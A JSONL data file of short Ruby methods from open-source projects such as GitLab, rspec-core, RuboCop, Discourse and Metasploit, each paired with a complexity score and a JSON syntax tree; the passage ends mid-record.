{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/migrations/20241209193409_attach_custom_lfk_trigger_to_ci_builds_partitions_spec.rb","start_line":80,"raw_source":"def lfk_triggers_on_table(connection, table_name, schema)\n    items = connection.select_rows(<<~SQL.squish)\n      SELECT tgname,\n          tgnargs as arguments_count,\n          proc.proname AS function\n      FROM pg_catalog.pg_trigger trgr\n        INNER JOIN pg_catalog.pg_class rel\n          ON trgr.tgrelid = rel.oid\n        INNER JOIN pg_catalog.pg_proc proc\n          ON proc.oid = trgr.tgfoid\n        INNER JOIN pg_catalog.pg_namespace nsp\n          ON nsp.oid = rel.relnamespace\n      WHERE nsp.nspname = #{connection.quote(schema)}\n        AND rel.relname = #{connection.quote(table_name)}\n        AND tgname ILIKE '%_loose_fk_trigger'\n    SQL\n\n    items.map { |item| { trigger_name: item[0], arguments_count: item[1], function_name: item[2] } }\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"lfk_triggers_on_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"schema\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"select_rows\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT tgname,\\n\"]},{\"type\":\"str\",\"children\":[\"    tgnargs as arguments_count,\\n\"]},{\"type\":\"str\",\"children\":[\"    proc.proname AS function\\n\"]},{\"type\":\"str\",\"children\":[\"FROM pg_catalog.pg_trigger trgr\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN pg_catalog.pg_class rel\\n\"]},{\"type\":\"str\",\"children\":[\"    ON trgr.tgrelid = rel.oid\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN pg_catalog.pg_proc proc\\n\"]},{\"type\":\"str\",\"children\":[\"    ON proc.oid = trgr.tgfoid\\n\"]},{\"type\":\"str\",\"children\":[\"  INNER JOIN pg_catalog.pg_namespace nsp\\n\"]},{\"type\":\"str\",\"children\":[\"    ON nsp.oid = rel.relnamespace\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE nsp.nspname = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"schema\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  AND rel.relname = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  AND tgname ILIKE '%_loose_fk_trigger'\\n\"]}]},\"squish\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}","id":"0fad2b4c-9582-4473-b07c-739858202b44"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/metadata.rb","start_line":170,"raw_source":"def description_separator(parent_part, child_part)\n          if parent_part.is_a?(Module) && /^(?:#|::|\\.)/.match(child_part.to_s)\n            ''.freeze\n          else\n            ' '.freeze\n          end\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"description_separator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_part\"]},{\"type\":\"arg\",\"children\":[\"child_part\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_part\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Module\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(?:#|::|\\\\.)\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child_part\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"freeze\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"freeze\"]}]}]}","id":"74f50c82-f4bf-4107-9252-e9c83740fe9f"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/filter_manager.rb","start_line":83,"raw_source":"def add_path_to_arrays_filter(filter_key, path, values)\n        filter = inclusions.delete(filter_key) || Hash.new { |h, k| h[k] = [] }\n        filter[path].concat(values)\n        inclusions.add(filter_key => filter)\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_path_to_arrays_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter_key\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inclusions\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"filter_key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inclusions\"]},\"add\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_key\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]}]}","id":"f05028de-e045-4253-9c46-773673f1758f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/frameit/lib/frameit/screenshot.rb","start_line":82,"raw_source":"def frame_orientation\n      filename = File.basename(self.path, \".*\")\n      block = Frameit.config[:force_orientation_block]\n\n      unless block.nil?\n        orientation = block.call(filename)\n        valid = [:landscape_left, :landscape_right, :portrait, nil]\n        UI.user_error(\"orientation_block must return #{valid[0..-2].join(', ')} or nil\") unless valid.include?(orientation)\n      end\n\n      puts(\"Forced orientation: #{orientation}\") unless orientation.nil?\n\n      return orientation unless orientation.nil?\n      return :portrait if self.orientation_name == Orientation::PORTRAIT\n      return :landscape_right # Default landscape orientation\n    end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"frame_orientation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path\"]},{\"type\":\"str\",\"children\":[\".*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Frameit\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force_orientation_block\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"orientation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"landscape_left\"]},{\"type\":\"sym\",\"children\":[\"landscape_right\"]},{\"type\":\"sym\",\"children\":[\"portrait\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"orientation\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"orientation_block must return \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\" or nil\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orientation\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Forced orientation: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orientation\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orientation\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orientation\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"orientation_name\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Orientation\"]},\"PORTRAIT\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"portrait\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"landscape_right\"]}]}]}]}","id":"836834e7-f541-4471-8309-3a92d7ce746c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/class_structure.rb","start_line":359,"raw_source":"def find_heredoc(node)\n          node.each_node(:any_str).find(&:heredoc?)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_heredoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"each_node\",{\"type\":\"sym\",\"children\":[\"any_str\"]}]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"heredoc?\"]}]}]}]}","id":"2e1af1d6-3a18-4bb4-aac4-9de15b87a066"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/models/openid_connect/user_token.rb","start_line":42,"raw_source":"def auth_source\n      user.authentication_provider\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"authentication_provider\"]}]}","id":"f2f370dc-a3fd-4001-9a18-9c81c99aa11d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/event_store/store.rb","start_line":8,"raw_source":"def initialize\n        @subscriptions = Hash.new { |h, k| h[k] = [] }\n\n        yield(self) if block_given?\n\n        # freeze the subscriptions as safety measure to avoid further\n        # subcriptions after initialization.\n        lock!\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@subscriptions\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"lock!\"]}]}]}","id":"5f14fdb6-bcc2-44b9-89e9-473dfe430720"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_percent_literal_delimiters.rb","start_line":60,"raw_source":"def add_offenses_for_blank_spaces(node)\n          range = body_range(node)\n          return if range.source.empty? || !range.source.strip.empty?\n\n          add_offense(range) do |corrector|\n            corrector.remove(range)\n          end\n        end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"add_offenses_for_blank_spaces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"body_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]},\"strip\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}","id":"375f1cd8-5132-4c08-87af-4e9fc52e17e2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/ai_bot/shared_ai_conversations_controller.rb","start_line":113,"raw_source":"def ensure_allowed_destroy!\n        @shared_conversation = SharedAiConversation.find_by(share_key: params[:share_key])\n\n        raise Discourse::InvalidAccess if @shared_conversation.blank?\n\n        guardian.ensure_can_destroy_shared_ai_bot_conversation!(@shared_conversation)\n      end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_allowed_destroy!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shared_conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedAiConversation\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"share_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"share_key\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared_conversation\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_destroy_shared_ai_bot_conversation!\",{\"type\":\"ivar\",\"children\":[\"@shared_conversation\"]}]}]}]}","id":"87ba4c94-6099-4e1c-82b1-d7da49b3e60e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":1264,"raw_source":"def reports_definitions\n      options.dig(:artifacts, :reports)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reports_definitions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"artifacts\"]},{\"type\":\"sym\",\"children\":[\"reports\"]}]}]}","id":"85d84443-57ed-4ee8-a6c6-17d59ec40d63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/datastore.rb","start_line":50,"raw_source":"def query_gdk(query_string)\n        raise \"GitLab Development Kit is not running on #{@gdk_folder}\" unless gdk_is_running?\n\n        command = \"./bin/gdk psql -t -c \\\"#{query_string}\\\"\"\n\n        `cd #{@gdk_folder}; #{command}`\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"query_gdk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gdk_is_running?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab Development Kit is not running on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gdk_folder\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./bin/gdk psql -t -c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_string\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gdk_folder\"]}]},{\"type\":\"str\",\"children\":[\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}]}","id":"449d8880-3ea6-430b-9516-8d3f61a8b7dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/add_context_service.rb","start_line":33,"raw_source":"def commits\n      project.repository.commits_by(oids: commit_ids)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"commits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"commits_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oids\"]},{\"type\":\"send\",\"children\":[null,\"commit_ids\"]}]}]}]}]}","id":"8826c59b-c51d-4812-9d45-091aa2257566"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/benchmarks/module_inclusion_filtering.rb","start_line":29,"raw_source":"def self.prepare_implementation(prefix)\n    RSpec.world = RSpec::Core::World.new # clear our state\n    RSpec::Core::Configuration.class_eval do\n      alias_method :configure_group, :\"#{prefix}_configure_group\"\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepare_implementation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"world=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"World\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"Configuration\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"alias_method\",{\"type\":\"sym\",\"children\":[\"configure_group\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"str\",\"children\":[\"_configure_group\"]}]}]}]}]}]}","id":"4766bd7a-7a60-415d-99c9-155132315e92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/hooks/service_hook_spec.rb","start_line":12,"raw_source":"def find_hooks\n      described_class.all\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_hooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"all\"]}]}","id":"97f19a9e-dfe7-4307-8504-90efe233811d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":37,"raw_source":"def commands\n    commands = {\n      'irb'        => 'Open an interactive Ruby shell in the current context',\n      'pry'        => 'Open the Pry debugger on the current module or Framework',\n      'edit'       => 'Edit the current module or a file with the preferred editor',\n      'reload_lib' => 'Reload Ruby library files from specified paths',\n      'log'        => 'Display framework.log paged to the end if possible',\n      'time'       => 'Time how long it takes to run a particular command'\n    }\n    if framework.features.enabled?(Msf::FeatureManager::MANAGER_COMMANDS)\n      commands['_servicemanager'] = 'Interact with the Rex::ServiceManager'\n      commands['_historymanager'] = 'Interact with the Rex::Ui::Text::Shell::HistoryManager'\n    end\n    commands\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commands\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"irb\"]},{\"type\":\"str\",\"children\":[\"Open an interactive Ruby shell in the current context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pry\"]},{\"type\":\"str\",\"children\":[\"Open the Pry debugger on the current module or Framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"edit\"]},{\"type\":\"str\",\"children\":[\"Edit the current module or a file with the preferred editor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reload_lib\"]},{\"type\":\"str\",\"children\":[\"Reload Ruby library files from specified paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"log\"]},{\"type\":\"str\",\"children\":[\"Display framework.log paged to the end if possible\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"str\",\"children\":[\"Time how long it takes to run a particular command\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"features\"]},\"enabled?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"FeatureManager\"]},\"MANAGER_COMMANDS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"_servicemanager\"]},{\"type\":\"str\",\"children\":[\"Interact with the Rex::ServiceManager\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"_historymanager\"]},{\"type\":\"str\",\"children\":[\"Interact with the Rex::Ui::Text::Shell::HistoryManager\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"commands\"]}]}]}","id":"e02e1d39-5f95-40e8-95e3-946c0a7479de"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/filter/filter_component.rb","start_line":54,"raw_source":"def allowed_filters\n      query.available_advanced_filters\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"available_advanced_filters\"]}]}","id":"ffdc4db3-9eec-4125-ad70-26f2e55f5604"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation_test.rb","start_line":147,"raw_source":"def test_empty_eager_loading?\n      relation = Relation.new(FakeKlass)\n      assert_not_predicate relation, :eager_loading?\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_empty_eager_loading?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"FakeKlass\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"sym\",\"children\":[\"eager_loading?\"]}]}]}]}","id":"d37006cf-7f41-4d4a-bee3-033d993224b8"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120802151210_add_icon_to_expression_types.rb","start_line":4,"raw_source":"def change\n    add_column :expression_types, :icon, :string, limit: 20\n\n    execute \"UPDATE expression_types SET icon = 'heart' WHERE expression_index = 1\"\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"expression_types\"]},{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE expression_types SET icon = 'heart' WHERE expression_index = 1\"]}]}]}]}","id":"97cf7ab2-eaed-4c5d-9a9f-fb3d0fc4f51e"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":194,"raw_source":"def redirect_page_if_different_subforem\n    return unless @page.subforem_id.present? &&\n      RequestStore.store[:subforem_id].present? &&\n      @page.subforem_id != RequestStore.store[:subforem_id]\n\n    redirect_to URL.page(@page), allow_other_host: true, status: :moved_permanently\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_page_if_different_subforem\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"subforem_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"subforem_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"store\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subforem_id\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"page\",{\"type\":\"ivar\",\"children\":[\"@page\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\